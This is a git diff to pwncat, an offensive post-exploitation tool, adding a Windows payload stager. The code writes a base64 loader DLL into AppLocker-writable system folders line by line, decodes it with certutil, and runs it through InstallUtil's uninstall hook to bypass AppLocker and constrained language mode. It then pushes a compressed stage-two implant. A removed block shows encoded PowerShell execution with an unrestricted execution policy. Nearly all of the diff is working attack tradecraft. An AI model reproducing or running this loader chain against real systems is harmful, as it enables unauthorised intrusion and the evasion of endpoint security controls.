diff --git a/pwncat/data/loader.dll b/pwncat/data/loader.dll new file mode 100644 index 0000000..46bb97d Binary files /dev/null and b/pwncat/data/loader.dll differ diff --git a/pwncat/data/stagetwo.cs b/pwncat/data/stagetwo.cs index 8a84ed8..16357f6 100644 --- a/pwncat/data/stagetwo.cs +++ b/pwncat/data/stagetwo.cs @@ -4,7 +4,7 @@ using System.Text; using System.Threading; using System.Runtime.InteropServices; -class StageTwo +public class StageTwo { private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; @@ -394,15 +394,6 @@ class StageTwo public void powershell() { var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK"))); - var startinfo = new System.Diagnostics.ProcessStartInfo() - { - FileName = "powershell.exe", - Arguments = "-noprofile -ep unrestricted -enc " + command, - UseShellExecute = false - }; - - var p = System.Diagnostics.Process.Start(startinfo); - p.WaitForExit(); } public void csharp() @@ -546,3 +537,15 @@ class StageTwo } } } + +[System.ComponentModel.RunInstaller(true)] +public class Sample:System.Configuration.Install.Installer +{ + public override void Uninstall(System.Collections.IDictionary savedState) + { + base.Uninstall(savedState); + + StageTwo two = new StageTwo(); + two.main(); + } +} diff --git a/pwncat/data/stagetwo.dll b/pwncat/data/stagetwo.dll new file mode 100644 index 0000000..7e1c69d Binary files /dev/null and b/pwncat/data/stagetwo.dll differ diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 58bbf51..cf388b3 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -349,8 +349,131 @@ class Windows(Platform): - "/* END CODE BLOCK */" """ + possible_dirs = [ + "C:\\Windows\\Tasks", + "C:\\Windows\\Temp", + "C:\\windows\\tracing", + "C:\\Windows\\Registration\\CRMLog", + "C:\\Windows\\System32\\FxsTmp", + "C:\\Windows\\System32\\com\\dmp", + "C:\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys", + "C:\\Windows\\System32\\spool\\PRINTERS", + "C:\\Windows\\System32\\spool\\SERVERS", + "C:\\Windows\\System32\\spool\\drivers\\color", + "C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SyncCenter", + "C:\\Windows\\System32\\Tasks_Migrated (after peforming a version upgrade of Windows 10)", + "C:\\Windows\\SysWOW64\\FxsTmp", + "C:\\Windows\\SysWOW64\\com\\dmp", + "C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\SyncCenter", + "C:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\PLA\\System", + ] + chunk_sz = 1900 + + loader_encoded_name = pwncat.util.random_string() + + # Read the loader + with open( + pkg_resources.resource_filename("pwncat", "data/loader.dll"), "rb" + ) as filp: + loader_dll = base64.b64encode(filp.read()) + + # Extract first chunk + chunk = loader_dll[0:chunk_sz].decode("utf-8") + good_dir = None + loader_remote_path = None + + self.channel.recvuntil(b">") + + # Find available file by trying to write first chunk + for possible in possible_dirs: + loader_remote_path = pathlib.PureWindowsPath(possible) / loader_encoded_name + good_dir = possible + self.channel.send( + f"""echo {chunk} >"{str(loader_remote_path)}"\n""".encode("utf-8") + ) + self.channel.recvline() + result = self.channel.recvuntil(b">") + if b"denied" not in result.lower(): + self.session.manager.log(f"Good path: {possible}") + break + else: + self.session.manager.log(f"Bad path: {possible}") + self.session.manager.log(result) + raise PlatformError("no writable applocker-safe directories") + + # Write remaining chunks to selected path + for c in range(chunk_sz, len(loader_dll), chunk_sz): + self.channel.send( + f"""echo {loader_dll[c:c+chunk_sz].decode('utf-8')} >>"{str(loader_remote_path)}"\n""".encode( + "utf-8" + ) + ) + self.channel.recvline() + self.channel.recvuntil(b">") + + # Decode the base64 to the actual dll + self.channel.send( + f"""certutil -decode "{str(loader_remote_path)}" "{good_dir}\{loader_encoded_name}.dll"\n""".encode( + "utf-8" + ) + ) + self.channel.recvline() + self.channel.recvuntil(b">") + + self.channel.send(f"""del "{str(loader_remote_path)}"\n""".encode("utf-8")) + self.channel.recvline() + self.channel.recvuntil(b">") + + # Search for all instances of InstallUtil within all installed .Net versions + self.channel.send( + """cmd /c "dir C:\Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$"\n""".encode( + "utf-8" + ) + ) + self.channel.recvline() + + # Select the newest version + result = self.channel.recvuntil(b">").decode("utf-8") + install_utils = [ + x.rstrip("\r") for x in result.split("\n") if x.rstrip("\r") != "" + ][-2] + + # Note whether this is 64-bit or not + is_64 = "\\Framework64\\" in install_utils + + self.session.manager.log(f"Selected Install Utils: {install_utils}") + + install_utils = install_utils.replace(" ", "\\ ") + + # Execute Install-Util to bypass AppLocker/CLM + self.channel.send( + f"""{install_utils} /logfile= /LogToConsole=false /U "{good_dir}\{loader_encoded_name}.dll"\n""".encode( + "utf-8" + ) + ) + + # Wait for loader to + self.channel.recvuntil(b"READY") + self.channel.recvuntil(b"\n") + + # Send stagetwo + with open( + pkg_resources.resource_filename("pwncat", "data/stagetwo.dll"), "rb" + ) as filp: + stagetwo_dll = filp.read() + compressed = BytesIO() + with gzip.GzipFile(fileobj=compressed, mode="wb") as gz: + gz.write(stagetwo_dll) + encoded = base64.b64encode(compressed.getvalue()) + + self.channel.sendline(encoded) + self.channel.recvuntil(b"READY") + self.channel.recvuntil(b"\n") + + return + # Read stage two source code - stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs") + stage_two_path = pkg_resources.resource_filename("pwncat", "data/loader.dll") with open(stage_two_path, "rb") as filp: source = filp.read() @@ -580,6 +703,8 @@ class Windows(Platform): self.channel.send(f"open\n{str(path)}\nmode\n".encode("utf-8")) result = self.channel.recvuntil(b"\n").strip() + self.session.log(result) + try: handle = int(result) except ValueError: diff --git a/test.py b/test.py index ba70756..e6e3ae2 100755 --- a/test.py +++ b/test.py @@ -11,17 +11,17 @@ manager = pwncat.manager.Manager("data/pwncatrc") # Establish a session session = manager.create_session("windows", host="192.168.122.11", port=4444) -manager.interactive() - -# hosts = ( -# session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts" -# ) -# with hosts.open() as filp: -# manager.log("Read etc hosts:") -# manager.log(filp.read()) -# -# p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True) -# manager.log(f"Current user: {p.communicate()[0].strip()}") -# manager.log(f"Process Exit Status: {p.returncode}") -# # manager.interactive() + +hosts = ( + session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts" +) +with hosts.open() as filp: + manager.log("Read etc hosts:") + manager.log(filp.read()) + +p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True) +manager.log(f"Current user: {p.communicate()[0].strip()}") +manager.log(f"Process Exit Status: {p.returncode}") + +manager.interactive()